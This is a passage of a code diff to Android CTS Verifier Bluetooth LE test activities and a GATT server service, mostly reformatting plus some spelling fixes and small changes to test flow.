 // TODO: too flaky b/34951749
-                // execute RSSI requesting test
-                // newAction = BleClientService.BLE_CLIENT_ACTION_READ_RSSI;
-                mPassed |= PASS_FLAG_READ_RSSI;
-                Log.d(TAG, "Skip PASS_FLAG_READ_RSSI.");
-                newAction = BleClientService.BLE_CLIENT_ACTION_READ_PHY;
-                break;
-            case BleClientService.BLE_READ_REMOTE_RSSI:
-                actionName = getString(R.string.ble_read_rssi_name);
-                mTestAdapter.setTestPass(BLE_READ_RSSI);
-                mPassed |= PASS_FLAG_READ_RSSI;
-                newAction = BleClientService.BLE_CLIENT_ACTION_READ_PHY;
-                break;
-            case BleClientService.BLE_PHY_READ:
-                actionName = getString(R.string.ble_read_phy_name);
-                mTestAdapter.setTestPass(BLE_READ_PHY);
-                mPassed |= PASS_FLAG_READ_PHY;
-                newAction = BleClientService.BLE_CLIENT_ACTION_TRIGGER_SERVICE_CHANGED;
-                break;
-            case BleClientService.BLE_ON_SERVICE_CHANGED:
-                actionName = getString(R.string.ble_on_service_changed);
-                mTestAdapter.setTestPass(BLE_ON_SERVICE_CHANGED);
-                mPassed |= PASS_FLAG_ON_SERVICE_CHANGED;
-                newAction = BleClientService.BLE_CLIENT_ACTION_CLIENT_DISCONNECT;
-                break;
-            case BleClientService.BLE_BLUETOOTH_DISCONNECTED:
-                mTestAdapter.setTestPass(BLE_CLIENT_DISCONNECT);
-                mPassed |= PASS_FLAG_DISCONNECT;
-                // all test done
-                newAction = null;
-                break;
-            case BleClientService.BLE_BLUETOOTH_MISMATCH_SECURE:
-                showErrorDialog(R.string.ble_bluetooth_mismatch_title, R.string.ble_bluetooth_mismatch_secure_message, true);
-                break;
-            case BleClientService.BLE_BLUETOOTH_MISMATCH_INSECURE:
-                showErrorDialog(R.string.ble_bluetooth_mismatch_title, R.string.ble_bluetooth_mismatch_insecure_message, true);
-                break;
+                    // execute RSSI requesting test
+                    // newAction = BleClientService.BLE_CLIENT_ACTION_READ_RSSI;
+                    mPassed |= PASS_FLAG_READ_RSSI;
+                    Log.d(TAG, "Skip PASS_FLAG_READ_RSSI.");
+                    newAction = BleClientService.BLE_CLIENT_ACTION_READ_PHY;
+                    break;
+                case BleClientService.BLE_READ_REMOTE_RSSI:
+                    actionName = getString(R.string.ble_read_rssi_name);
+                    mTestAdapter.setTestPass(BLE_READ_RSSI);
+                    mPassed |= PASS_FLAG_READ_RSSI;
+                    newAction = BleClientService.BLE_CLIENT_ACTION_READ_PHY;
+                    break;
+                case BleClientService.BLE_PHY_READ:
+                    actionName = getString(R.string.ble_read_phy_name);
+                    mTestAdapter.setTestPass(BLE_READ_PHY);
+                    mPassed |= PASS_FLAG_READ_PHY;
+                    newAction = BleClientService.BLE_CLIENT_ACTION_TRIGGER_SERVICE_CHANGED;
+                    break;
+                case BleClientService.BLE_ON_SERVICE_CHANGED:
+                    actionName = getString(R.string.ble_on_service_changed);
+                    mTestAdapter.setTestPass(BLE_ON_SERVICE_CHANGED);
+                    mPassed |= PASS_FLAG_ON_SERVICE_CHANGED;
+                    newAction = BleClientService.BLE_CLIENT_ACTION_CLIENT_DISCONNECT;
+                    break;
+                case BleClientService.BLE_BLUETOOTH_DISCONNECTED:
+                    mTestAdapter.setTestPass(BLE_CLIENT_DISCONNECT);
+                    mPassed |= PASS_FLAG_DISCONNECT;
+                    // all test done
+                    newAction = null;
+                    break;
+                case BleClientService.BLE_BLUETOOTH_MISMATCH_SECURE:
+                    showErrorDialog(R.string.ble_bluetooth_mismatch_title,
+                            R.string.ble_bluetooth_mismatch_secure_message, true);
+                    break;
+                case BleClientService.BLE_BLUETOOTH_MISMATCH_INSECURE:
+                    showErrorDialog(R.string.ble_bluetooth_mismatch_title,
+                            R.string.ble_bluetooth_mismatch_insecure_message, true);
+                    break;
             }
 
             if (previousPassed != mPassed) {
-                String logMessage = String.format("Passed Flags has changed from 0x%08X to 0x%08X. Delta=0x%08X",
-                                                  previousPassed, mPassed, mPassed ^ previousPassed);
+                String logMessage = String.format(
+                        "Passed Flags has changed from 0x%08X to 0x%08X. Delta=0x%08X",
+                        previousPassed, mPassed, mPassed ^ previousPassed);
                 Log.d(TAG, logMessage);
             }
 
@@ -438,17 +445,14 @@
 
             if (mPassed == PASS_FLAG_ALL) {
                 Log.d(TAG, "All Tests Passed.");
-                if (shouldRebootBluetoothAfterTest()) {
-                    mBtPowerSwitcher.executeSwitching();
-                } else {
-                    getPassButton().setEnabled(true);
-                }
+                getPassButton().setEnabled(true);
             }
         }
     };
 
     private static final long BT_ON_DELAY = 10000;
     private final BluetoothPowerSwitcher mBtPowerSwitcher = new BluetoothPowerSwitcher();
+
     private class BluetoothPowerSwitcher extends BroadcastReceiver {
 
         private boolean mIsSwitching = false;
@@ -456,7 +460,8 @@
 
         public void executeSwitching() {
             if (mAdapter == null) {
-                BluetoothManager btMgr = (BluetoothManager) getSystemService(Context.BLUETOOTH_SERVICE);
+                BluetoothManager btMgr = (BluetoothManager) getSystemService(
+                        Context.BLUETOOTH_SERVICE);
                 mAdapter = btMgr.getAdapter();
             }
 
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleEncryptedClientBaseActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleEncryptedClientBaseActivity.java
index ad4e39f..2483a04 100755
--- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleEncryptedClientBaseActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleEncryptedClientBaseActivity.java
@@ -48,10 +48,10 @@
     private Dialog mDialog;

     private Handler mHandler;

 

-    private final int BLE_WRITE_ENCRIPTED_CHARACTERISTIC = 0;

-    private final int BLE_READ_ENCRIPTED_CHARACTERISTIC = 1;

-    private final int BLE_WRITE_ENCRIPTED_DESCRIPTOR = 2;

-    private final int BLE_READ_ENCRIPTED_DESCRIPTOR = 3;

+    private final int BLE_WRITE_ENCRYPTED_CHARACTERISTIC = 0;

+    private final int BLE_READ_ENCRYPTED_CHARACTERISTIC = 1;

+    private final int BLE_WRITE_ENCRYPTED_DESCRIPTOR = 2;

+    private final int BLE_READ_ENCRYPTED_DESCRIPTOR = 3;

 

     @Override

     protected void onCreate(Bundle savedInstanceState) {

@@ -70,23 +70,28 @@
         listView.setOnItemClickListener(new ListView.OnItemClickListener() {

             @Override

             public void onItemClick(AdapterView<?> adapterView, View view, int position, long id) {

-                Intent intent = new Intent(BleEncryptedClientBaseActivity.this, BleEncryptedClientService.class);

+                Intent intent = new Intent(BleEncryptedClientBaseActivity.this,

+                        BleEncryptedClientService.class);

                 Log.v(getLocalClassName(), "onItemClick()");

                 switch (position) {

-                case BLE_WRITE_ENCRIPTED_CHARACTERISTIC:

-                    intent.setAction(BleEncryptedClientService.ACTION_WRITE_ENCRYPTED_CHARACTERISTIC);

-                    break;

-                case BLE_READ_ENCRIPTED_CHARACTERISTIC:

-                    intent.setAction(BleEncryptedClientService.ACTION_READ_ENCRYPTED_CHARACTERISTIC);

-                    break;

-                case BLE_WRITE_ENCRIPTED_DESCRIPTOR:

-                    intent.setAction(BleEncryptedClientService.ACTION_WRITE_ENCRYPTED_DESCRIPTOR);

-                    break;

-                case BLE_READ_ENCRIPTED_DESCRIPTOR:

-                    intent.setAction(BleEncryptedClientService.ACTION_READ_ENCRYPTED_DESCRIPTOR);

-                    break;

-                default:

-                    return;

+                    case BLE_WRITE_ENCRYPTED_CHARACTERISTIC:

+                        intent.setAction(

+                                BleEncryptedClientService.ACTION_WRITE_ENCRYPTED_CHARACTERISTIC);

+                        break;

+                    case BLE_READ_ENCRYPTED_CHARACTERISTIC:

+                        intent.setAction(

+                                BleEncryptedClientService.ACTION_READ_ENCRYPTED_CHARACTERISTIC);

+                        break;

+                    case BLE_WRITE_ENCRYPTED_DESCRIPTOR:

+                        intent.setAction(

+                                BleEncryptedClientService.ACTION_WRITE_ENCRYPTED_DESCRIPTOR);

+                        break;

+                    case BLE_READ_ENCRYPTED_DESCRIPTOR:

+                        intent.setAction(

+                                BleEncryptedClientService.ACTION_READ_ENCRYPTED_DESCRIPTOR);

+                        break;

+                    default:

+                        return;

                 }

                 startService(intent);

                 showProgressDialog();

@@ -174,77 +179,83 @@
         return false;

     }

 

-    public boolean isSecure() { return false; }

+    public boolean isSecure() {

+        return false;

+    }

 

     private BroadcastReceiver mBroadcast = new BroadcastReceiver() {

         @Override

         public void onReceive(Context context, Intent intent) {

             String action = intent.getAction();

             switch (action) {

-            case BleEncryptedClientService.INTENT_BLE_BLUETOOTH_DISABLED:

-                showErrorDialog(getString(R.string.ble_bluetooth_disable_title), getString(R.string.ble_bluetooth_disable_message), true);

-                break;

-            case BleEncryptedClientService.INTENT_BLE_WRITE_ENCRYPTED_CHARACTERISTIC:

-                mTestAdapter.setTestPass(BLE_WRITE_ENCRIPTED_CHARACTERISTIC);

-                mAllPassed |= 0x01;

-                if (!isSecure()) {

+                case BleEncryptedClientService.INTENT_BLE_BLUETOOTH_DISABLED:

+                    showErrorDialog(getString(R.string.ble_bluetooth_disable_title),

+                            getString(R.string.ble_bluetooth_disable_message), true);

+                    break;

+                case BleEncryptedClientService.INTENT_BLE_WRITE_ENCRYPTED_CHARACTERISTIC:

+                    mTestAdapter.setTestPass(BLE_WRITE_ENCRYPTED_CHARACTERISTIC);

+                    mAllPassed |= 0x01;

                     closeDialog();

-                }

-                break;

-            case BleEncryptedClientService.INTENT_BLE_READ_ENCRYPTED_CHARACTERISTIC:

-                mTestAdapter.setTestPass(BLE_READ_ENCRIPTED_CHARACTERISTIC);

-                mAllPassed |= 0x02;

-                if (!isSecure()) {

+                    break;

+                case BleEncryptedClientService.INTENT_BLE_READ_ENCRYPTED_CHARACTERISTIC:

+                    mTestAdapter.setTestPass(BLE_READ_ENCRYPTED_CHARACTERISTIC);

+                    mAllPassed |= 0x02;

                     closeDialog();

-                }

-                break;

-            case BleEncryptedClientService.INTENT_BLE_WRITE_ENCRYPTED_DESCRIPTOR:

-                mTestAdapter.setTestPass(BLE_WRITE_ENCRIPTED_DESCRIPTOR);

-                mAllPassed |= 0x04;

-                if (!isSecure()) {

+                    break;

+                case BleEncryptedClientService.INTENT_BLE_WRITE_ENCRYPTED_DESCRIPTOR:

+                    mTestAdapter.setTestPass(BLE_WRITE_ENCRYPTED_DESCRIPTOR);

+                    mAllPassed |= 0x04;

                     closeDialog();

-                }

-                break;

-            case BleEncryptedClientService.INTENT_BLE_READ_ENCRYPTED_DESCRIPTOR:

-                mTestAdapter.setTestPass(BLE_READ_ENCRIPTED_DESCRIPTOR);

-                mAllPassed |= 0x08;

-                if (!isSecure()) {

+                    break;

+                case BleEncryptedClientService.INTENT_BLE_READ_ENCRYPTED_DESCRIPTOR:

+                    mTestAdapter.setTestPass(BLE_READ_ENCRYPTED_DESCRIPTOR);

+                    mAllPassed |= 0x08;

                     closeDialog();

-                }

-                break;

-            case BleEncryptedClientService.INTENT_BLE_WRITE_NOT_ENCRYPTED_CHARACTERISTIC:

-                showErrorDialog(getString(R.string.ble_encrypted_client_name), getString(R.string.ble_encrypted_client_no_encrypted_characteristic), false);

-                break;

-            case BleEncryptedClientService.INTENT_BLE_READ_NOT_ENCRYPTED_CHARACTERISTIC:

-                showErrorDialog(getString(R.string.ble_encrypted_client_name), getString(R.string.ble_encrypted_client_no_encrypted_characteristic), false);

-                break;

-            case BleEncryptedClientService.INTENT_BLE_WRITE_NOT_ENCRYPTED_DESCRIPTOR:

-                showErrorDialog(getString(R.string.ble_encrypted_client_name), getString(R.string.ble_encrypted_client_no_encrypted_descriptor), false);

-                break;

-            case BleEncryptedClientService.INTENT_BLE_READ_NOT_ENCRYPTED_DESCRIPTOR:

-                showErrorDialog(getString(R.string.ble_encrypted_client_name), getString(R.string.ble_encrypted_client_no_encrypted_descriptor), false);

-                break;

+                    break;

+                case BleEncryptedClientService.INTENT_BLE_WRITE_NOT_ENCRYPTED_CHARACTERISTIC:

+                    showErrorDialog(getString(R.string.ble_encrypted_client_name),

+                            getString(R.string.ble_encrypted_client_no_encrypted_characteristic),

+                            false);

+                    break;

+                case BleEncryptedClientService.INTENT_BLE_READ_NOT_ENCRYPTED_CHARACTERISTIC:

+                    showErrorDialog(getString(R.string.ble_encrypted_client_name),

+                            getString(R.string.ble_encrypted_client_no_encrypted_characteristic),

+                            false);

+                    break;

+                case BleEncryptedClientService.INTENT_BLE_WRITE_NOT_ENCRYPTED_DESCRIPTOR:

+                    showErrorDialog(getString(R.string.ble_encrypted_client_name),

+                            getString(R.string.ble_encrypted_client_no_encrypted_descriptor),

+                            false);

+                    break;

+                case BleEncryptedClientService.INTENT_BLE_READ_NOT_ENCRYPTED_DESCRIPTOR:

+                    showErrorDialog(getString(R.string.ble_encrypted_client_name),

+                            getString(R.string.ble_encrypted_client_no_encrypted_descriptor),

+                            false);

+                    break;

 

-            case BleEncryptedClientService.INTENT_BLE_WRITE_FAIL_ENCRYPTED_CHARACTERISTIC:

-                showErrorDialog(getString(R.string.ble_encrypted_client_name), getString(R.string.ble_encrypted_client_fail_write_encrypted_characteristic), false);

-                break;

-            case BleEncryptedClientService.INTENT_BLE_READ_FAIL_ENCRYPTED_CHARACTERISTIC:

-                showErrorDialog(getString(R.string.ble_encrypted_client_name), getString(R.string.ble_encrypted_client_fail_read_encrypted_characteristic), false);

-                break;

-            case BleEncryptedClientService.INTENT_BLE_WRITE_FAIL_ENCRYPTED_DESCRIPTOR:

-                showErrorDialog(getString(R.string.ble_encrypted_client_name), getString(R.string.ble_encrypted_client_fail_write_encrypted_descriptor), false);

-                break;

-            case BleEncryptedClientService.INTENT_BLE_READ_FAIL_ENCRYPTED_DESCRIPTOR:

-                showErrorDialog(getString(R.string.ble_encrypted_client_name), getString(R.string.ble_encrypted_client_fail_read_encrypted_descriptor), false);

-                break;

+                case BleEncryptedClientService.INTENT_BLE_WRITE_FAIL_ENCRYPTED_CHARACTERISTIC:

+                    showErrorDialog(getString(R.string.ble_encrypted_client_name), getString(

+                                    R.string.ble_encrypted_client_fail_write_encrypted_characteristic),

+                            false);

+                    break;

+                case BleEncryptedClientService.INTENT_BLE_READ_FAIL_ENCRYPTED_CHARACTERISTIC:

+                    showErrorDialog(getString(R.string.ble_encrypted_client_name), getString(

+                                    R.string.ble_encrypted_client_fail_read_encrypted_characteristic),

+                            false);

+                    break;

+                case BleEncryptedClientService.INTENT_BLE_WRITE_FAIL_ENCRYPTED_DESCRIPTOR:

+                    showErrorDialog(getString(R.string.ble_encrypted_client_name), getString(

+                            R.string.ble_encrypted_client_fail_write_encrypted_descriptor), false);

+                    break;

+                case BleEncryptedClientService.INTENT_BLE_READ_FAIL_ENCRYPTED_DESCRIPTOR:

+                    showErrorDialog(getString(R.string.ble_encrypted_client_name),

+                            getString(R.string.ble_encrypted_client_fail_read_encrypted_descriptor),

+                            false);

+                    break;

 

-            case BleEncryptedClientService.ACTION_DISCONNECTED:

-                if (shouldRebootBluetoothAfterTest()) {

-                    mBtPowerSwitcher.executeSwitching();

-                } else {

+                case BleEncryptedClientService.ACTION_DISCONNECTED:

                     closeDialog();

-                }

-                break;

+                    break;

             }

 

             mTestAdapter.notifyDataSetChanged();

@@ -256,6 +267,7 @@
 

     private static final long BT_ON_DELAY = 10000;

     private final BluetoothPowerSwitcher mBtPowerSwitcher = new BluetoothPowerSwitcher();

+

     private class BluetoothPowerSwitcher extends BroadcastReceiver {

 

         private boolean mIsSwitching = false;

@@ -263,7 +275,8 @@
 

         public void executeSwitching() {

             if (mAdapter == null) {

-                BluetoothManager btMgr = (BluetoothManager) getSystemService(Context.BLUETOOTH_SERVICE);

+                BluetoothManager btMgr = (BluetoothManager) getSystemService(

+                        Context.BLUETOOTH_SERVICE);

                 mAdapter = btMgr.getAdapter();

             }

 

diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleServerService.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleServerService.java
index 1cd3093..4d5f4a6 100755
--- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleServerService.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleServerService.java
@@ -84,7 +84,8 @@
     public static final String BLE_CHARACTERISTIC_READ_REQUEST_WITHOUT_PERMISSION =
             "com.android.cts.verifier.bluetooth.BLE_CHARACTERISTIC_READ_REQUEST_WITHOUT_PERMISSION";
     public static final String BLE_CHARACTERISTIC_WRITE_REQUEST_WITHOUT_PERMISSION =
-            "com.android.cts.verifier.bluetooth.BLE_CHARACTERISTIC_WRITE_REQUEST_WITHOUT_PERMISSION";
+            "com.android.cts.verifier.bluetooth"
+                    + ".BLE_CHARACTERISTIC_WRITE_REQUEST_WITHOUT_PERMISSION";
     public static final String BLE_CHARACTERISTIC_READ_REQUEST_NEED_ENCRYPTED =
             "com.android.cts.verifier.bluetooth.BLE_CHARACTERISTIC_READ_REQUEST_NEED_ENCRYPTED";
     public static final String BLE_CHARACTERISTIC_WRITE_REQUEST_NEED_ENCRYPTED =
@@ -128,7 +129,7 @@
             UUID.fromString("00009997-0000-1000-8000-00805f9b34fb");
     private static final UUID DESCRIPTOR_UUID =
             UUID.fromString("00009996-0000-1000-8000-00805f9b34fb");
-    public static final UUID ADV_SERVICE_UUID=
+    public static final UUID ADV_SERVICE_UUID =
             UUID.fromString("00003333-0000-1000-8000-00805f9b34fb");
 
     private static final UUID SERVICE_UUID_ADDITIONAL =
@@ -299,20 +300,20 @@
         String action = intent.getAction();
         if (action != null) {
             switch (action) {
-            case BLE_ACTION_SERVER_SECURE:
-                mSecure = true;
-                if (Build.VERSION.SDK_INT <= Build.VERSION_CODES.M) {
-                    showMessage("Skip MTU test.");
-                    mCountMtuChange = 1;
-                    notifyMtuRequest();
-                    mCountMtuChange = 2;
-                    notifyMtuRequest();
-                    mCountMtuChange = 0;
-                }
-                break;
-            case BLE_ACTION_SERVER_NON_SECURE:
-                mSecure = false;
-                break;
+                case BLE_ACTION_SERVER_SECURE:
+                    mSecure = true;
+                    if (Build.VERSION.SDK_INT <= Build.VERSION_CODES.M) {
+                        showMessage("Skip MTU test.");
+                        mCountMtuChange = 1;
+                        notifyMtuRequest();
+                        mCountMtuChange = 2;
+                        notifyMtuRequest();
+                        mCountMtuChange = 0;
+                    }
+                    break;
+                case BLE_ACTION_SERVER_NON_SECURE:
+                    mSecure = false;
+                    break;
             }
         }
 
@@ -333,7 +334,7 @@
         cancelNotificationTaskOfSecureTestStartFailure();
         stopAdvertise();
         if (mGattServer == null) {
-           return;
+            return;
         }
         if (mDevice != null) {
             mGattServer.cancelConnection(mDevice);
@@ -627,7 +628,8 @@
 
     private BluetoothGattService createServiceChangedService() {
         BluetoothGattService service =
-                new BluetoothGattService(SERVICE_UUID_SERVICE_CHANGED, BluetoothGattService.SERVICE_TYPE_PRIMARY);
+                new BluetoothGattService(SERVICE_UUID_SERVICE_CHANGED,
+                        BluetoothGattService.SERVICE_TYPE_PRIMARY);
 
         BluetoothGattCharacteristic dummyCharacteristic =
                 new BluetoothGattCharacteristic(SERVICE_CHANGED_CHARACTERISTIC_UUID, 0x02, 0x02);
@@ -638,15 +640,16 @@
 
     /**
      * Create service for notification test
-     * @return
      */
     private BluetoothGattService createAdditionalNotificationService() {
         BluetoothGattService service =
-                new BluetoothGattService(SERVICE_UUID_ADDITIONAL, BluetoothGattService.SERVICE_TYPE_PRIMARY);
+                new BluetoothGattService(SERVICE_UUID_ADDITIONAL,
+                        BluetoothGattService.SERVICE_TYPE_PRIMARY);
 
         BluetoothGattCharacteristic notiCharacteristic =
                 new BluetoothGattCharacteristic(UPDATE_CHARACTERISTIC_UUID_1, 0x12, 0x1);
-        BluetoothGattDescriptor descriptor = new BluetoothGattDescriptor(UPDATE_DESCRIPTOR_UUID, 0x11);
+        BluetoothGattDescriptor descriptor = new BluetoothGattDescriptor(UPDATE_DESCRIPTOR_UUID,
+                0x11);
         descriptor.setValue(BluetoothGattDescriptor.DISABLE_NOTIFICATION_VALUE);
         notiCharacteristic.addDescriptor(descriptor);
         notiCharacteristic.setValue(NOTIFY_VALUE);
@@ -738,7 +741,8 @@
         descriptor.setValue(WRITE_VALUE.getBytes());
         characteristic.addDescriptor(descriptor);
 
-        BluetoothGattDescriptor descriptor_permission = new BluetoothGattDescriptor(DESCRIPTOR_NO_READ_UUID, 0x10);
+        BluetoothGattDescriptor descriptor_permission = new BluetoothGattDescriptor(
+                DESCRIPTOR_NO_READ_UUID, 0x10);
         characteristic.addDescriptor(descriptor_permission);
 
         descriptor_permission = new BluetoothGattDescriptor(DESCRIPTOR_NO_WRITE_UUID, 0x01);
@@ -749,10 +753,12 @@
         characteristic =
                 new BluetoothGattCharacteristic(CHARACTERISTIC_RESULT_UUID, 0x0A, 0x11);
 
-        BluetoothGattDescriptor descriptor_encrypted = new BluetoothGattDescriptor(DESCRIPTOR_NEED_ENCRYPTED_READ_UUID, 0x02);
+        BluetoothGattDescriptor descriptor_encrypted = new BluetoothGattDescriptor(
+                DESCRIPTOR_NEED_ENCRYPTED_READ_UUID, 0x02);
         characteristic.addDescriptor(descriptor_encrypted);
 
-        descriptor_encrypted = new BluetoothGattDescriptor(DESCRIPTOR_NEED_ENCRYPTED_WRITE_UUID, 0x20);
+        descriptor_encrypted = new BluetoothGattDescriptor(DESCRIPTOR_NEED_ENCRYPTED_WRITE_UUID,
+                0x20);
         characteristic.addDescriptor(descriptor_encrypted);
 
         service.addCharacteristic(characteristic);
@@ -770,11 +776,13 @@
 
         // Registered the characteristic of authenticate (Encrypted) for operation confirmation.
         characteristic =
-                new BluetoothGattCharacteristic(CHARACTERISTIC_NEED_ENCRYPTED_READ_UUID, 0x0A, 0x02);
+                new BluetoothGattCharacteristic(CHARACTERISTIC_NEED_ENCRYPTED_READ_UUID, 0x0A,
+                        0x02);
         service.addCharacteristic(characteristic);
 
         characteristic =
-                new BluetoothGattCharacteristic(CHARACTERISTIC_NEED_ENCRYPTED_WRITE_UUID, 0x0A, 0x20);
+                new BluetoothGattCharacteristic(CHARACTERISTIC_NEED_ENCRYPTED_WRITE_UUID, 0x0A,
+                        0x20);
         service.addCharacteristic(characteristic);
 
         // Add new Characteristics(Indicate)
@@ -837,7 +845,8 @@
 
         // Add new Characteristics (Service change control)
         BluetoothGattCharacteristic controlCharacteristic =
-                new BluetoothGattCharacteristic(SERVICE_CHANGED_CONTROL_CHARACTERISTIC_UUID, 0x08, 0x10);
+                new BluetoothGattCharacteristic(SERVICE_CHANGED_CONTROL_CHARACTERISTIC_UUID, 0x08,
+                        0x10);
         service.addCharacteristic(controlCharacteristic);
 
         return service;
@@ -892,7 +901,8 @@
                 if (newState == BluetoothProfile.STATE_CONNECTED) {
                     mDevice = device;
                     boolean bonded = false;
-                    Set<BluetoothDevice> pairedDevices = mBluetoothManager.getAdapter().getBondedDevices();
+                    Set<BluetoothDevice> pairedDevices =
+                            mBluetoothManager.getAdapter().getBondedDevices();
                     if (pairedDevices.size() > 0) {
                         for (BluetoothDevice target : pairedDevices) {
                             if (target.getAddress().equals(device.getAddress())) {
@@ -902,7 +912,8 @@
                         }
                     }
 
-                    if (mSecure && ((device.getBondState() == BluetoothDevice.BOND_NONE) || !bonded)) {
+                    if (mSecure && ((device.getBondState() == BluetoothDevice.BOND_NONE)
+                            || !bonded)) {
                         // not pairing and execute Secure Test
                         cancelNotificationTaskOfSecureTestStartFailure();
                         /*
@@ -910,7 +921,8 @@
                             @Override
                             public void run() {
                                 mNotificationTaskOfSecureTestStartFailure = null;
-                                if (mSecure && (mDevice.getBondState() != BluetoothDevice.BOND_BONDED)) {
+                                if (mSecure && (mDevice.getBondState() != BluetoothDevice
+                                .BOND_BONDED)) {
                                     notifyMismatchSecure();
                                 }
                             }
@@ -918,7 +930,8 @@
                         mHandler.postDelayed(mNotificationTaskOfSecureTestStartFailure,
                                 NOTIFICATION_DELAY_OF_SECURE_TEST_FAILURE);
                         */
-                    } else if (!mSecure && ((device.getBondState() != BluetoothDevice.BOND_NONE) || bonded)) {
+                    } else if (!mSecure && ((device.getBondState() != BluetoothDevice.BOND_NONE)
+                            || bonded)) {
                         // already pairing nad execute Insecure Test
                         /*
                         notifyMismatchInsecure();
@@ -946,11 +959,13 @@
                 if (uuid.equals(mService.getUuid())) {
                     // create and add nested service
                     BluetoothGattService includedService =
-                            new BluetoothGattService(SERVICE_UUID_INCLUDED, BluetoothGattService.SERVICE_TYPE_SECONDARY);
+                            new BluetoothGattService(SERVICE_UUID_INCLUDED,
+                                    BluetoothGattService.SERVICE_TYPE_SECONDARY);
                     BluetoothGattCharacteristic characteristic =
-                        new BluetoothGattCharacteristic(CHARACTERISTIC_UUID, 0x0A, 0x11);
+                            new BluetoothGattCharacteristic(CHARACTERISTIC_UUID, 0x0A, 0x11);
                     characteristic.setValue(WRITE_VALUE.getBytes());
-                    BluetoothGattDescriptor descriptor = new BluetoothGattDescriptor(DESCRIPTOR_UUID, 0x11);
+                    BluetoothGattDescriptor descriptor = new BluetoothGattDescriptor(
+                            DESCRIPTOR_UUID, 0x11);
                     descriptor.setValue(WRITE_VALUE.getBytes());
                     characteristic.addDescriptor(descriptor);
                     includedService.addCharacteristic(characteristic);
@@ -972,7 +987,8 @@
         }
 
         @Override
-        public void onCharacteristicReadRequest(BluetoothDevice device, int requestId, int offset, BluetoothGattCharacteristic characteristic) {
+        public void onCharacteristicReadRequest(BluetoothDevice device, int requestId, int offset,
+                BluetoothGattCharacteristic characteristic) {
             if (mGattServer == null) {
                 if (DEBUG) {
                     Log.d(TAG, "GattServer is null, return");
@@ -1024,7 +1040,8 @@
                 return;
             }
             if (DEBUG) {
-                Log.d(TAG, "onCharacteristicWriteRequest: preparedWrite=" + preparedWrite + ", responseNeeded= " + responseNeeded);
+                Log.d(TAG, "onCharacteristicWriteRequest: preparedWrite=" + preparedWrite
+                        + ", responseNeeded= " + responseNeeded);
             }
 
             if (characteristic.getUuid().equals(CHARACTERISTIC_RESULT_UUID)) {
@@ -1048,14 +1065,16 @@
                         break;
                 }
                 if (responseNeeded) {
-                    mGattServer.sendResponse(device, requestId, BluetoothGatt.GATT_SUCCESS, offset, value);
+                    mGattServer.sendResponse(device, requestId, BluetoothGatt.GATT_SUCCESS, offset,
+                            value);
                 }
                 return;
             }
 
             if (characteristic.getUuid().equals(SERVICE_CHANGED_CONTROL_CHARACTERISTIC_UUID)) {
                 if (responseNeeded) {
-                    mGattServer.sendResponse(device, requestId, BluetoothGatt.GATT_SUCCESS, offset, value);
+                    mGattServer.sendResponse(device, requestId, BluetoothGatt.GATT_SUCCESS, offset,
+                            value);
                 }
                 mGattServer.removeService(mServiceChangedService);
                 return;
@@ -1073,7 +1092,8 @@
                     }
                 }
                 if (responseNeeded) {
-                    mGattServer.sendResponse(device, requestId, BluetoothGatt.GATT_SUCCESS, offset, value);
+                    mGattServer.sendResponse(device, requestId, BluetoothGatt.GATT_SUCCESS, offset,
+                            value);
                 }
 
                 return;
@@ -1092,7 +1112,8 @@
             } else {
                 characteristic.setValue(value);
                 // verify
-                if (Arrays.equals(BleClientService.WRITE_VALUE.getBytes(), characteristic.getValue())) {
+                if (Arrays.equals(BleClientService.WRITE_VALUE.getBytes(),
+                        characteristic.getValue())) {
                     UUID uid = characteristic.getUuid();
                     if (uid.equals(CHARACTERISTIC_NEED_ENCRYPTED_WRITE_UUID)) {
                         notifyCharacteristicWriteRequestNeedEncrypted();
@@ -1105,7 +1126,8 @@
             }
 
             if (responseNeeded) {
-                mGattServer.sendResponse(device, requestId, BluetoothGatt.GATT_SUCCESS, offset, value);
+                mGattServer.sendResponse(device, requestId, BluetoothGatt.GATT_SUCCESS, offset,
+                        value);
             }
         }
 
@@ -1118,13 +1140,13 @@
                 }
                 return;
             }
-                if (DEBUG) {
+            if (DEBUG) {
                 Log.d(TAG, "onDescriptorReadRequest(): (descriptor == getDescriptor())="
                         + (descriptor == getDescriptor()));
             }
 
             UUID uid = descriptor.getUuid();
-            if (uid.equals(DESCRIPTOR_NEED_ENCRYPTED_READ_UUID)){
+            if (uid.equals(DESCRIPTOR_NEED_ENCRYPTED_READ_UUID)) {
                 notifyDescriptorReadRequestNeedEncrypted();
             } else {
                 notifyDescriptorReadRequest();
@@ -1142,7 +1164,7 @@
         public void onDescriptorWriteRequest(BluetoothDevice device, int requestId,
                 BluetoothGattDescriptor descriptor,
                 boolean preparedWrite, boolean responseNeeded,
-                int offset,  byte[] value) {
+                int offset, byte[] value) {
             if (mGattServer == null) {
                 if (DEBUG) {
                     Log.d(TAG, "GattServer is null, return");
@@ -1152,7 +1174,8 @@
             BluetoothGattCharacteristic characteristic = descriptor.getCharacteristic();
             UUID uid = characteristic.getUuid();
             if (DEBUG) {
-                Log.d(TAG, "onDescriptorWriteRequest: preparedWrite=" + preparedWrite + ", responseNeeded= " + responseNeeded);
+                Log.d(TAG, "onDescriptorWriteRequest: preparedWrite=" + preparedWrite
+                        + ", responseNeeded= " + responseNeeded);
                 Log.d(TAG, "   characteristic uuid = " + uid);
             }
 
@@ -1161,11 +1184,14 @@
             if (duid.equals(UPDATE_DESCRIPTOR_UUID)) {
                 if (Arrays.equals(value, BluetoothGattDescriptor.ENABLE_NOTIFICATION_VALUE)) {
                     mGattServer.notifyCharacteristicChanged(
-                            mDevice, descriptor.getCharacteristic(), false, value);
+                            mDevice, descriptor.getCharacteristic(), false,
+                            characteristic.getValue());
+
                     mIndicated = false;
                 } else if (Arrays.equals(value, BluetoothGattDescriptor.ENABLE_INDICATION_VALUE)) {
                     mGattServer.notifyCharacteristicChanged(
-                            mDevice, descriptor.getCharacteristic(), true, value);
+                            mDevice, descriptor.getCharacteristic(), true,
+                            characteristic.getValue());
                     mIndicated = true;
                 }
